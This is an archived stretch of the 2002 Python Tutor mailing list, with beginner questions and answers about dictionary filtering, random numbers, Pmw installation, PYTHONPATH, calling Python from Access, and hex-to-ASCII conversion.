>>> filter(lambda key, omit = omit: key not in omit, j.keys())
[6, 4, 2]

That will work even under 1.5.2.  Under 2.1 and above the 'omit = omit' can be
left out.  If it were not for the need to place 'omit' in the scope of the
lambda I find the filter call much more readable.



From scarblac@pino.selwerd.nl  Thu Feb  7 18:58:34 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 7 Feb 2002 19:58:34 +0100
Subject: [Tutor] omit some keys from dict
In-Reply-To: <XFMail.20020207104512.shalehperry@attbi.com>; from shalehperry@attbi.com on Thu, Feb 07, 2002 at 10:45:12AM -0800
References: <NEBBJNMDEKBIBCMCNMBDEEOBDAAA.karthikg@aztec.soft.net> <XFMail.20020207104512.shalehperry@attbi.com>
Message-ID: <20020207195834.A29880@pino.selwerd.nl>

On  0, Sean 'Shaleh' Perry <shalehperry@attbi.com> wrote:
> >>> j= {1:'hello',2:'fine',3:'python',4:'dicts',5:'lists',6:'tuples'}
> >>> omit = [1,3,5]
> >>> filter(lambda key, omit = omit: key not in omit, j.keys())
> [6, 4, 2]
> 
> That will work even under 1.5.2.  Under 2.1 and above the 'omit = omit' can be
> left out.  If it were not for the need to place 'omit' in the scope of the
> lambda I find the filter call much more readable.

Right, I left out the 'omit = omit' because I'm used to 2.1 code. 2.1 is
about ten months old; 1.5.2 about three years. All my thesis code is 2.1
style code. I expect that most newbies have downloaded Python recently. So
I'm not posting legacy code anymore unless there's a specific reason for it.

My personal guidelines for using filter/map/lambda:

I like filter better if it is a 'pure filter', like the one above.
The expression in the list comprehension is just the variable - 
[x for x in xs if ...].

I like map if and only if the function already exists and a lambda isn't
necessary - map(str, range(10)).

If the situation is even a little more complex than this, I prefer the list
comprehension. [str(i)+"%" for i in range(10)] instead of 
map(lambda i: str(i)+"%", range(10)).


-- 
Remco Gerlich


From shalehperry@attbi.com  Thu Feb  7 19:14:32 2002
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Thu, 07 Feb 2002 11:14:32 -0800 (PST)
Subject: [Tutor] omit some keys from dict
In-Reply-To: <20020207195834.A29880@pino.selwerd.nl>
Message-ID: <XFMail.20020207111432.shalehperry@attbi.com>

On 07-Feb-2002 Remco Gerlich wrote:
> On  0, Sean 'Shaleh' Perry <shalehperry@attbi.com> wrote:
>> >>> j= {1:'hello',2:'fine',3:'python',4:'dicts',5:'lists',6:'tuples'}
>> >>> omit = [1,3,5]
>> >>> filter(lambda key, omit = omit: key not in omit, j.keys())
>> [6, 4, 2]
>> 
>> That will work even under 1.5.2.  Under 2.1 and above the 'omit = omit' can
>> be
>> left out.  If it were not for the need to place 'omit' in the scope of the
>> lambda I find the filter call much more readable.
> 
> Right, I left out the 'omit = omit' because I'm used to 2.1 code. 2.1 is
> about ten months old; 1.5.2 about three years. All my thesis code is 2.1
> style code. I expect that most newbies have downloaded Python recently. So
> I'm not posting legacy code anymore unless there's a specific reason for it.
> 

many many people are using distributions where python 1.5.2 is the only option
short of compiling it themself. Not everyone is up to that task.  I have always
been disappointed by the python community's inability to see this.  Even worse
some people are using python modules that have not been updated to 2.x and have
not had the time or ability to upgrade them.

> My personal guidelines for using filter/map/lambda:
> 

good rules of thumb.



From cmccormick@thestate.com  Thu Feb  7 19:21:02 2002
From: cmccormick@thestate.com (Chris McCormick)
Date: Thu, 07 Feb 2002 14:21:02 -0500
Subject: [Tutor] ** Newbie ** - Fastest random choice from integers 0 to X?
Message-ID: <WFQKNIYTMGXSMKA732QLOM53TOD953.3c62d39e@cmccormickl>

Hello all,
	I'm sure this is a simple answer, but I wasn't sure what would be fastest.

I have a group of consecutive integers, 0 to X.  Given only the top bound (X), what is the fastest way to produce a random integer, 0 and X inclusive?  My guess is:

	random.randrange( 0, (X+1), 1 )

Is this right?  

Thanks in advance for your help,
Chris McCormick





From scarblac@pino.selwerd.nl  Thu Feb  7 19:24:51 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 7 Feb 2002 20:24:51 +0100
Subject: [Tutor] ** Newbie ** - Fastest random choice from integers 0 to X?
In-Reply-To: <WFQKNIYTMGXSMKA732QLOM53TOD953.3c62d39e@cmccormickl>; from cmccormick@thestate.com on Thu, Feb 07, 2002 at 02:21:02PM -0500
References: <WFQKNIYTMGXSMKA732QLOM53TOD953.3c62d39e@cmccormickl>
Message-ID: <20020207202451.A29952@pino.selwerd.nl>

On  0, Chris McCormick <cmccormick@thestate.com> wrote:
> Hello all,
> 	I'm sure this is a simple answer, but I wasn't sure what would be fastest.
> 
> I have a group of consecutive integers, 0 to X.  Given only the top bound
> (X), what is the fastest way to produce a random integer, 0 and X inclusive?
> My guess is:
> 
> 	random.randrange( 0, (X+1), 1 )
> 
> Is this right?

Yes.

Apart from the speed, it's about the only right way, since this is a
standard library function for it, and the other one, random.randint, is
deprecated (shouldn't be used anymore).

Speed shouldn't be much of a concern, usually.

-- 
Remco Gerlich


From m_konermann@gmx.de  Thu Feb  7 09:07:43 2002
From: m_konermann@gmx.de (Keule)
Date: Thu, 07 Feb 2002 10:07:43 +0100
Subject: [Tutor] Installation of PMW
Message-ID: <3C6243DF.6060109@gmx.de>

--------------060903090302050607010401
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

Hi @ All !

It seems, that i´ve got problems with a correct installation of PMW and 
the correct extracting of the PMW modules.
For example, after extracting and try to use the PmwEntryField.py module 
the following Error occurs:

 >>>
Traceback (most recent call last):
  File 
"C:\Arbeit_Diplomarbeit\__Benutzerschnittstelle\PMW\Pmw.0.8.5.tar\Pmw_0_8_5\Pmw\Pmw_0_8_5\lib\PmwEntryField.py", 
line 7, in ?
    import Pmw
  File "C:\Python22\lib\site-packages\Pmw\__init__.py", line 34, in ?
    _loader = 'Pmw.' + _instdirs[0] + '.lib.PmwLoader'
IndexError: list index out of range

after extracting, the module PmwEntryField.py can be find on my harddisk 
in the following directory:

C:\__Benutzerschnittstelle\PMW\Pmw.0.8.5.tar\Pmw_0_8_5\Pmw\Pmw_0_8_5\lib

the long directory name results of the .tar.gz  archive file, because i 
had to extract it second times (archive in an archive)
Has anyone tips for a proper installation ?

Greetings
Marcus

--------------060903090302050607010401
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html>
<head>
</head>
<body>
Hi @ All !<br>
<br>
It seems, that i&acute;ve got problems with a correct installation of PMW and the
correct extracting of the PMW modules.<br>
For example, after extracting and try to use the PmwEntryField.py module
the following Error occurs:<br>
<br>
<i>&gt;&gt;&gt; <br>
Traceback (most recent call last):<br>
&nbsp; File <a class="moz-txt-link-rfc2396E" href="C:\Arbeit_Diplomarbeit\__Benutzerschnittstelle\PMW\Pmw.0.8.5.tar\Pmw_0_8_5\Pmw\Pmw_0_8_5\lib\PmwEntryField.py">"C:\Arbeit_Diplomarbeit\__Benutzerschnittstelle\PMW\Pmw.0.8.5.tar\Pmw_0_8_5\Pmw\Pmw_0_8_5\lib\PmwEntryField.py"</a>,
line 7, in ?<br>
&nbsp;&nbsp;&nbsp; import Pmw<br>
&nbsp; File <a class="moz-txt-link-rfc2396E" href="C:\Python22\lib\site-packages\Pmw\__init__.py">"C:\Python22\lib\site-packages\Pmw\__init__.py"</a>, line 34, in ?<br>
&nbsp;&nbsp;&nbsp; _loader = 'Pmw.' + _instdirs[0] + '.lib.PmwLoader'<br>
IndexError: list index out of range</i><br>
<br>
after extracting, the module PmwEntryField.py can be find on my harddisk
in the following directory: <br>
<br>
<a class="moz-txt-link-freetext" href="C:\__Benutzerschnittstelle\PMW\Pmw.0.8.5.tar\Pmw_0_8_5\Pmw\Pmw_0_8_5\lib">C:\__Benutzerschnittstelle\PMW\Pmw.0.8.5.tar\Pmw_0_8_5\Pmw\Pmw_0_8_5\lib</a><br>
<br>
the long directory name results of the .tar.gz &nbsp;archive file, because i had
to extract it second times (archive in an archive)<br>
Has anyone tips for a proper installation ?<br>
<br>
Greetings<br>
Marcus<br>
</body>
</html>

--------------060903090302050607010401--



From beazley@cs.uchicago.edu  Thu Feb  7 15:27:19 2002
From: beazley@cs.uchicago.edu (David Beazley)
Date: Thu, 7 Feb 2002 09:27:19 -0600 (CST)
Subject: [Tutor] [Swig] Installation of PMW
In-Reply-To: <3C6243DF.6060109@gmx.de>
References: <3C6243DF.6060109@gmx.de>
Message-ID: <15458.40151.597314.835673@gargoyle.cs.uchicago.edu>

Keule writes:
 > Hi @ All !
 >=20
 > It seems, that i=B4ve got problems with a correct installation of PM=
W and=20
 > the correct extracting of the PMW modules.

Maybe I'm confused, but what is PMW and what does it have to do with
SWIG?  You might get better results by contacting the author of this
package directly or posting to a PMW list (if there is one).

Cheers,

Dave


From troels.petersen@sveg.se.sykes.com  Thu Feb  7 20:14:22 2002
From: troels.petersen@sveg.se.sykes.com (Troels Petersen)
Date: Thu, 7 Feb 2002 21:14:22 +0100
Subject: [Tutor] Pythonpath.. In Windows.
Message-ID: <BA81D474F304D611B3330002A5AB32271A8FCF@RATATOSK.sveg.se.sykes.com>

Hi,

I bet there is one and preferably one obvious way to do this - but I simply
haven't been able to.

I have some 'homemade' python modules I want to load. I have added the path
to the modules to my PythonPath via the 'Edit PythonPath' function in
Activestates PythonWin. But I still can't load my modules.

>>> import calc1
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
ImportError: No module named calc1

A link to enlighten me would be fine... 

Regards,
Troels


From dyoo@hkn.eecs.berkeley.edu  Thu Feb  7 20:16:04 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 7 Feb 2002 12:16:04 -0800 (PST)
Subject: [Tutor] Installation of PMW
In-Reply-To: <3C6243DF.6060109@gmx.de>
Message-ID: <Pine.LNX.4.21.0202071149270.3283-100000@hkn.eecs.berkeley.edu>

On Thu, 7 Feb 2002, Keule wrote:

> Hi @ All !
>=20
> It seems, that i=B4ve got problems with a correct installation of PMW and=
=20
> the correct extracting of the PMW modules.

Dear Keule,

Please be careful about sending questions to the appropriate mailing
lists.  You CC'ed your question off to the SWIG list, but the SWIG folks
probably won't be familiar about Python MegaWidgets.



> For example, after extracting and try to use the PmwEntryField.py
> module the following Error occurs:

How are you trying to use the PmwEntryField module?  Can you show us what
you did to get this error message?


Also, you probably should not be trying to use the PmwEntryField.py within
that long directory name:

    "C:\Arbeit_Diplomarbeit\__Benutzerschnittstelle
       \PMW\Pmw.0.8.5.tar\Pmw_0_8_5\Pmw\Pmw_0_8_5\lib\PmwEntryField.py"=20


To install Pmw, the files should only be under the
C:\Python22\lib\site-packages\Pmw\ directory.  Your
C:\Python22\lib\site-packages\Pmw directory itself must contain at least
the "Pmw_0_8_5" subdirectory.

Can you do a 'dir' within C:\Python2.2\lib\site-packages\Pmw to confirm
this?



> after extracting, the module PmwEntryField.py can be find on my harddisk=
=20
> in the following directory:
>=20
> C:\__Benutzerschnittstelle\PMW\Pmw.0.8.5.tar\Pmw_0_8_5\Pmw\Pmw_0_8_5\lib

Yes, but you don't need that directory once you've copied over the Pmw\
directory and all its contents over to site-packages\Pmw.

Hope this helps!



From mikalzet@libero.it  Thu Feb  7 21:44:43 2002
From: mikalzet@libero.it (mikalzet@libero.it)
Date: Thu, 7 Feb 2002 22:44:43 +0100 (CET)
Subject: [Tutor] Shifts and DateTime problems
In-Reply-To: <4.2.0.58.20020206223333.019e2ba0@pop3.norton.antivirus>
Message-ID: <Pine.LNX.4.33L2.0202072223410.2235-100000@localhost.localdomain>

On Wed, 6 Feb 2002, Kirby Urner wrote:

> You don't have to name your input arguments as long as they
> correspond,
...
> You may also choose to skip all those interim variables,

Thanks, yes of course ...

> If the only purpose of your class is really just to
> print something formatted, then you don't really
> need a class.  But I assume you're thinking to
> expand on the above model somehow.

Let's say that the final Shift class should have a method for adding a new
shift, reading a new shift ...and probably methods for calculating how
many hours are attributed to each different type of shift, how many to
each worker, to calculate how many hours of work are to be calculated as
night shifts and holiday shifts etc. etc.
In the end formatting and printing something might not even remain in the
shift class ! For the moment it is handy for learning how communication
between python and postgres works.
Then I think I'll need a Schedule class, capable of creating a new table
in my database for each month's or week's schedule and probably containing
the yet to be invented algorithm for automatically generating the shift
schedule while taking into account all the shifts to fill in, the hours
contracted for each worker, the various desiderata and just and lawful
impediments of each worker etc. etc. and probably a Worker class to handle
these aspects.
This already seems something way above my head ... but all this would have
to be handled in a Tkinter GUI ... and in the end have a method for
actually producing neat, legible ps or pdf or whatever printable files
which can be handed out to each worker and stuck on the notice board.

Now the thing I really haven't the faintest idea of yet is how different
classes could communicate with each other but I am content for the moment
with toddling along like this.

By the time I will have all this working Python version 7.0 will come out
and all the code written so far will have to be rewritten, of course !

> Finally, if DateTimeFrom is all you're using from
> mx.DateTime,

I think I'll know what I'll be using from mx.DateTime only at the end ...
if I ever come to one   :-))

-- 
Michele Alzetta



From AMoore4437@aol.com  Thu Feb  7 21:48:12 2002
From: AMoore4437@aol.com (AMoore4437@aol.com)
Date: Thu, 7 Feb 2002 16:48:12 EST
Subject: [Tutor] running problems
Message-ID: <185.3355d5f.2994501c@aol.com>

--part1_185.3355d5f.2994501c_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

I have python 2.2 installed on my system (well i thought i did)
(windows 95)

I cannot seem to open it

i have uninstalled and reinstalled but to no avail
it's as if python has been deleted completely from my hard drive
where am i going wrong

tony moore

--part1_185.3355d5f.2994501c_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>I have python 2.2 installed on my system (well i thought i did)
<BR>(windows 95)
<BR>
<BR>I cannot seem to open it
<BR>
<BR>i have uninstalled and reinstalled but to no avail
<BR>it's as if python has been deleted completely from my hard drive
<BR>where am i going wrong
<BR>
<BR>tony moore</FONT></HTML>

--part1_185.3355d5f.2994501c_boundary--


From wolf_binary@hotmail.com  Fri Feb  8 00:43:35 2002
From: wolf_binary@hotmail.com (Cameron Stoner)
Date: Thu, 7 Feb 2002 18:43:35 -0600
Subject: [Tutor] modular programming
Message-ID: <DAV39XkmCJiLyNfHgIu00000823@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_000D_01C1B007.592D86A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi to all,

What is the difference between a C++ module or other language and =
Python's modules?

Thanks for any help
Cameron

------=_NextPart_000_000D_01C1B007.592D86A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2712.300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi to all,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>What is the difference between a C++ =
module or=20
other language and Python's modules?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks for any help</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Cameron</FONT></DIV></BODY></HTML>

------=_NextPart_000_000D_01C1B007.592D86A0--


From dsh8290@rit.edu  Fri Feb  8 01:10:29 2002
From: dsh8290@rit.edu (dman)
Date: Thu, 7 Feb 2002 20:10:29 -0500
Subject: [Tutor] Python executables
In-Reply-To: <000801c1b001$a6178660$a47937d2@renee123>
References: <000801c1b001$a6178660$a47937d2@renee123>
Message-ID: <20020208011029.GA373@dman.ddts.net>

On Fri, Feb 08, 2002 at 07:02:44AM +1300, Willem de Beer wrote:
| Good day
| 
| I would like to run extremely simple Python 2.0 programs from MS Access.
| 
| Any suggestions?

Does Access/VB have anything like the C system() or the Python
os.system() function?  If so, then it is easy to execute external
programs.  Otherwise, good luck.

-D

-- 

Microsoft encrypts your Windows NT password when stored on a Windows CE
device. But if you look carefully at their encryption algorithm, they
simply XOR the password with "susageP", Pegasus spelled backwards.
Pegasus is the code name of Windows CE. This is so pathetic it's
staggering.

http://www.cegadgets.com/artsusageP.htm



From jeff@ccvcorp.com  Fri Feb  8 01:48:56 2002
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Thu, 07 Feb 2002 17:48:56 -0800
Subject: [Tutor] Python executables
References: <E16YzZM-0005Ny-00@mail.python.org>
Message-ID: <3C632E88.B704B6F4@ccvcorp.com>

> "Willem de Beer" <awuli@xtra.co.nz> wrote:
>
> I would like to run extremely simple Python 2.0 programs from MS Access.
>
> Any suggestions?

This might not quite count as "extremely simple", but it's not terribly difficult either.

If you can't use a straight system call (as per DMan's suggestion), then you can try setting up your Python programs as COM servers, and calling them through the standard COM interface.  (I'm presuming that Access gives you fairly simple COM ability, of course; it'd be a serious
oversight on MS's part if it doesn't... but I know nothing of Access in particular.)

Creating a Python COM server is fairly easy, but more than I can conveniently describe in a single message like this.  If you do go this route, you will want to get the O'Reilly book, "Python Programming on Win32", by Mark Hammond and Andy Robinson.  It's very clearly written, with
lots of working examples and step-by-step walkthroughs of creating Win32-friendly Python programs.  (I'd recommend it to *anyone* doing Python on Windows, but especially if you're doing anything with COM.)

Jeff Shannon
Technician/Programmer
Credit International




From kp87@lycos.com  Fri Feb  8 02:33:12 2002
From: kp87@lycos.com (kevin parks)
Date: Fri, 08 Feb 2002 11:33:12 +0900
Subject: [Tutor] list noise [not what you think]
Message-ID: <EAMMBCPJIICJPAAA@mailcity.com>

Hi all,

Is there a way to fill a list with random values? I'd like to
make a list and fill it with either white noise, pink noise, or
brownian values, and then later (hopefully) filter and quantize
them. Does Python have these different kinds of noise generators
built in or as part of some standard module?

Can anyone help me get started or point me to the right (or a right) approach?

cheers,

kevin


 




From dsh8290@rit.edu  Fri Feb  8 03:22:49 2002
From: dsh8290@rit.edu (dman)
Date: Thu, 7 Feb 2002 22:22:49 -0500
Subject: [Tutor] list noise [not what you think]
In-Reply-To: <EAMMBCPJIICJPAAA@mailcity.com>
References: <EAMMBCPJIICJPAAA@mailcity.com>
Message-ID: <20020208032249.GA1923@dman.ddts.net>

On Fri, Feb 08, 2002 at 11:33:12AM +0900, kevin parks wrote:
| Hi all,
| 
| Is there a way to fill a list with random values? I'd like to
| make a list and fill it with either white noise, pink noise, or
| brownian values, and then later (hopefully) filter and quantize
| them. Does Python have these different kinds of noise generators
| built in or as part of some standard module?
| 
| Can anyone help me get started or point me to the right (or a right)
| approach?

How about :

import random

# do it this way so you aren't increasing the size later
l = [ None ] * <how big do you want it?>
for i in xrange( len( l ) ) :
    l[i] = random.random()

?

-D

-- 

Microsoft is to operating systems & security ....
                                     .... what McDonald's is to gourmet cooking



From erikprice@mac.com  Fri Feb  8 03:48:26 2002
From: erikprice@mac.com (Erik Price)
Date: Thu, 7 Feb 2002 22:48:26 -0500
Subject: [Tutor] omit some keys from dict
In-Reply-To: <XFMail.20020207111432.shalehperry@attbi.com>
Message-ID: <B4D629A9-1C46-11D6-8BE2-00039351FE6A@mac.com>

On Thursday, February 7, 2002, at 02:14  PM, Sean 'Shaleh' Perry wrote:

> many many people are using distributions where python 1.5.2 is the only 
> option
> short of compiling it themself. Not everyone is up to that task.  I 
> have always
> been disappointed by the python community's inability to see this.

Hm.  It worked fine for me... I'm not an "experienced" compiler, I just 
used the default ./configure script and it did all the work by itself.  
Is it different for other systems than Unix?  (Must be my naivete not 
knowing this...)

> Even worse
> some people are using python modules that have not been updated to 2.x 
> and have
> not had the time or ability to upgrade them.

I just noticed that I am running 2.2 on my machine.  Does that mean that 
I need to worry about importing modules, etc?  I didn't realize that 
they are dependent on the version of Python used.

Clearly I am out of my league here... is there a FAQ on the subject of 
1.x vs 2.x Pythons?


Thanks,
Erik



From idiot1@netzero.net  Thu Feb  7 18:27:16 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Thu, 07 Feb 2002 13:27:16 -0500
Subject: [Tutor] security
Message-ID: <3C62C704.F6D0475@netzero.net>

ok, this is a question about securing the data stream.

I am working on building a web manager for the creation and managing
of lists. Not membership IN lists, the ownership and management, and
if need be destruction of lists.

I am concerned that simply using a password is not enough, as
datastreams can be tapped if sent in the clear and passwords
intercepted, and a hacker could then use these to destroy all lists on
a service. I want to use technology to prevent such crimes.

One idea occuring is to encrypt the password. Another is an email
message to the owner confirming any and alll modifications. Frankly,
securing the data stream would probably be easier to implement- but I
do not know anything about how to do this.

Anyone out there got some good ideas or information on this?


-- 
 
end
	    Respectfully,
			Kirk D Bailey
	    		Consulting evil genius

 +-------------------------"Thou Art Free."
-Eris------------------------+
 |             Assorted blows against the empire I
comitted:             |
 | http://www.howlermonkey.net      
mailto:highprimate@howlermonkey.net |
 | http://www.tinylist.org     +---------+  
mailto:grumpy@tinylist.org  |

+---------------------Thinking|NORMALICY|Thinking-----------------------+
                               +---------+

----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From dyoo@hkn.eecs.berkeley.edu  Fri Feb  8 05:48:55 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 7 Feb 2002 21:48:55 -0800 (PST)
Subject: [Tutor] modular programming
In-Reply-To: <DAV39XkmCJiLyNfHgIu00000823@hotmail.com>
Message-ID: <Pine.LNX.4.21.0202071905110.12273-100000@hkn.eecs.berkeley.edu>

On Thu, 7 Feb 2002, Cameron Stoner wrote:

> What is the difference between a C++ module or other language and
> Python's modules?

The Python "extension modules" that people often mention are Python
modules that have been written in a language other than Python.  If the
extension module has been written well, we shouldn't be able to recognize
an extension module from a regular module written in Python.

For a concrete example of an extension module, take a look at Tkinter ---
that module is actually written in C, but has been wrapped so well that it
feels Pythonic.


However, I'm not sure if this is what you mean by "C++ module".  Please
feel free to ask more questions about this, and we'll try to give a more
appropriate answer.

Talk to you later!



From urnerk@qwest.net  Fri Feb  8 05:59:20 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Thu, 07 Feb 2002 21:59:20 -0800
Subject: [Tutor] running problems
In-Reply-To: <185.3355d5f.2994501c@aol.com>
Message-ID: <4.2.0.58.20020207215800.019ed330@pop3.norton.antivirus>

At 04:48 PM 2/7/2002 -0500, AMoore4437@aol.com wrote:
>I have python 2.2 installed on my system (well i thought i did)
>(windows 95)
>
>I cannot seem to open it

How do you try?  Do you get the little snake icon?
Go to the Python22 directory in a DOS box and enter
Python.  Do you get a prompt?

 >

Then at least you know Python is there and working.
But you'd have more fun if you could get the
graphical interface to boot, which is what the
snake's supposed to do for ya.

Kirby



From dyoo@hkn.eecs.berkeley.edu  Fri Feb  8 05:56:01 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 7 Feb 2002 21:56:01 -0800 (PST)
Subject: [Tutor] ** Newbie ** - Fastest random choice from integers 0 to
 X?
In-Reply-To: <20020207202451.A29952@pino.selwerd.nl>
Message-ID: <Pine.LNX.4.21.0202072152460.15466-100000@hkn.eecs.berkeley.edu>

On Thu, 7 Feb 2002, Remco Gerlich wrote:

> > My guess is:
> > 
> > 	random.randrange( 0, (X+1), 1 )
> > 
> > Is this right?
> 
> Yes.
> 
> Apart from the speed, it's about the only right way, since this is a
> standard library function for it, and the other one, random.randint,
> is deprecated (shouldn't be used anymore).

Also, the third parameter --- the "step" --- is set to 1 by default, so
you can simplify your call to:

    random.randrange(0, X+1)


Good luck to you!



From dyoo@hkn.eecs.berkeley.edu  Fri Feb  8 06:02:26 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 7 Feb 2002 22:02:26 -0800 (PST)
Subject: [Tutor] running problems
In-Reply-To: <4.2.0.58.20020207215800.019ed330@pop3.norton.antivirus>
Message-ID: <Pine.LNX.4.21.0202072159390.15901-100000@hkn.eecs.berkeley.edu>

On Thu, 7 Feb 2002, Kirby Urner wrote:

> At 04:48 PM 2/7/2002 -0500, AMoore4437@aol.com wrote:
> >I have python 2.2 installed on my system (well i thought i did)
> >(windows 95)
> >
> >I cannot seem to open it
> 
> How do you try?  Do you get the little snake icon?
> Go to the Python22 directory in a DOS box and enter
> Python.  Do you get a prompt?

Hi Amoore,

Also, check in your Start Menu --- you should see Python 2.2 in there in
its own Application group.  I have a small tutorial that might help:

    http://hkn.eecs.berkeley.edu/~dyoo/python/idle_intro


It's possible that the installation is messed up, but let's check and make
sure before doing anything hasty.  *grin*



From dyoo@hkn.eecs.berkeley.edu  Fri Feb  8 06:13:57 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 7 Feb 2002 22:13:57 -0800 (PST)
Subject: [Tutor] list noise [not what you think]
In-Reply-To: <EAMMBCPJIICJPAAA@mailcity.com>
Message-ID: <Pine.LNX.4.21.0202072157130.15466-100000@hkn.eecs.berkeley.edu>

On Fri, 8 Feb 2002, kevin parks wrote:

> Is there a way to fill a list with random values? I'd like to make a
> list and fill it with either white noise, pink noise, or brownian
> values, and then later (hopefully) filter and quantize them. Does
> Python have these different kinds of noise generators built in or as
> part of some standard module?

Hi Kevin,

We seem to be getting a lot of random questions lately! *grin*


Yes, there are several good ways of doing this.  The easy ways will use
the 'random' module, and we can find documentation about it here:

    http://www.python.org/doc/current/lib/module-random.html

The documentation is a bit terse, but it does show that we can use
something like random.random() to get random floating-point numbers
between 0 and 1.  Here's an interpreter session that demonstrates this
function:

###
>>> from random import random
>>> random()
0.913230480874057
>>> random()
0.35874922590195979
>>> random()
0.28924989831892356
>>> random()
0.11919278512468923
###


By using random.random() with some list manipulation, we can quickly build
up a list of random values.  Dman's example uses array assignment, which
is a very good way of building the list.  A similar way of doing it is by
list append()ing:

###
def makeRandomList(n):
    """Returns a list of n random numbers, where each entry
    is a float somewhere in [0, 1)."""
    mylist = []
    for i in xrange(n) :
        mylist.append(random.random())
    return mylist
###

But the basic idea is the same: we call random.random() repeatedly and
assign each to a new spot in our list.


There are more sophisticated functions in the 'random' module, including
stuff to generate normal, gamma, and gaussian distributions.  I need to
brush up on a statistics book to figure out what those terms mean!  
*grin*


Good luck to you.



From shalehperry@attbi.com  Fri Feb  8 06:39:59 2002
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Thu, 07 Feb 2002 22:39:59 -0800 (PST)
Subject: [Tutor] omit some keys from dict
In-Reply-To: <B4D629A9-1C46-11D6-8BE2-00039351FE6A@mac.com>
Message-ID: <XFMail.20020207223959.shalehperry@attbi.com>

> 
> I just noticed that I am running 2.2 on my machine.  Does that mean that 
> I need to worry about importing modules, etc?  I didn't realize that 
> they are dependent on the version of Python used.
> 
> Clearly I am out of my league here... is there a FAQ on the subject of 
> 1.x vs 2.x Pythons?
> 

modules written in pure python move forward from 1.x just fine 9 times out of
10.  The reverse is 1 out of 10 when moving back to 1.x.

The real problem are the modules written in C.


From idiot1@netzero.net  Fri Feb  8 08:00:04 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Fri, 08 Feb 2002 03:00:04 -0500
Subject: [Tutor] USELESS PYTHON
Message-ID: <3C638584.64DB7E69@netzero.net>

Well, I gathered together the SOAnotifier files, copied the GNUGPL
into one called LICENSE, and made a tarball, and gzipped it, and sent
it off to Rob at useless python, so soon it will be sitting there
ready for one and all to dl and enjoy.

Whenever I cook up another idea of somethign to make my life as a
sysop a little easier, I will wrap it up and call that SOA(foo) and if
there several of them, ofer it as a complete suite.

SOA=SysOpAid, BTW.

-- 
 
end
	    Respectfully,
			Kirk D Bailey

+----------------------"Thou Art Free." -Eris----------------------+
|          Assorted blows against the empire I comitted:           |
| http://www.howlermonkey.net  mailto:highprimate@howlermonkey.net |
| http://www.tinylist.org  +---------+  mailto:grumpy@tinylist.org |
+------------------Thinking|NORMALICY|Thinking---------------------+
                           +---------+
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From lonetwin <lonetwin@yahoo.com>  Fri Feb  8 08:44:17 2002
From: lonetwin <lonetwin@yahoo.com> (lonetwin)
Date: Fri, 8 Feb 2002 14:14:17 +0530 (IST)
Subject: [Tutor] converting to Ascii from hex
Message-ID: <Pine.LNX.4.30.0202081324001.2640-100000@mercury.worli>

Hi everybody,
    For a program I'm working on I get data in ASCII hex digit
characters (0-9, A-F), with two sequential ASCII hex digits corresponding
to the hex value of each data byte. Eg: (because I know what I just said
makes no sense :)), an ASCII "A" data character is sent as the two ASCII
characters "41" (ie: 0x41 == 65 == ord('A')
    Now, the problem is I need to intepret this, what follows below is
what I could hack up, but is kinda ugly. Could someone gimme
something better ??

intepreter session:
=========================================================
>>> p ="""416268696A6565740A353435303134392870756E65290D
... 35353130363639286F666629"""
>>> s = [ chr(int(p[x:x+2], 16)) for x in range(0, len(p), 2) ]
>>> s
['A', 'b', 'h', 'i', 'j', 'e', 'e', 't', '\n', '5', '4', '5', '0', '1',
'4', '9', '(', 'p', 'u', 'n', 'e', ')', '\r', '5', '5', '1', '0', '6',
'6', '9', '(', 'o', 'f', 'f', ')']
>>>
=========================================================

Peace
Steve



From scarblac@pino.selwerd.nl  Fri Feb  8 08:55:10 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Fri, 8 Feb 2002 09:55:10 +0100
Subject: [Tutor] converting to Ascii from hex
In-Reply-To: <Pine.LNX.4.30.0202081324001.2640-100000@mercury.worli>; from lonetwin@yahoo.com on Fri, Feb 08, 2002 at 02:14:17PM +0530
References: <Pine.LNX.4.30.0202081324001.2640-100000@mercury.worli>
Message-ID: <20020208095510.A30938@pino.selwerd.nl>

On  0, lonetwin <lonetwin@yahoo.com> wrote:
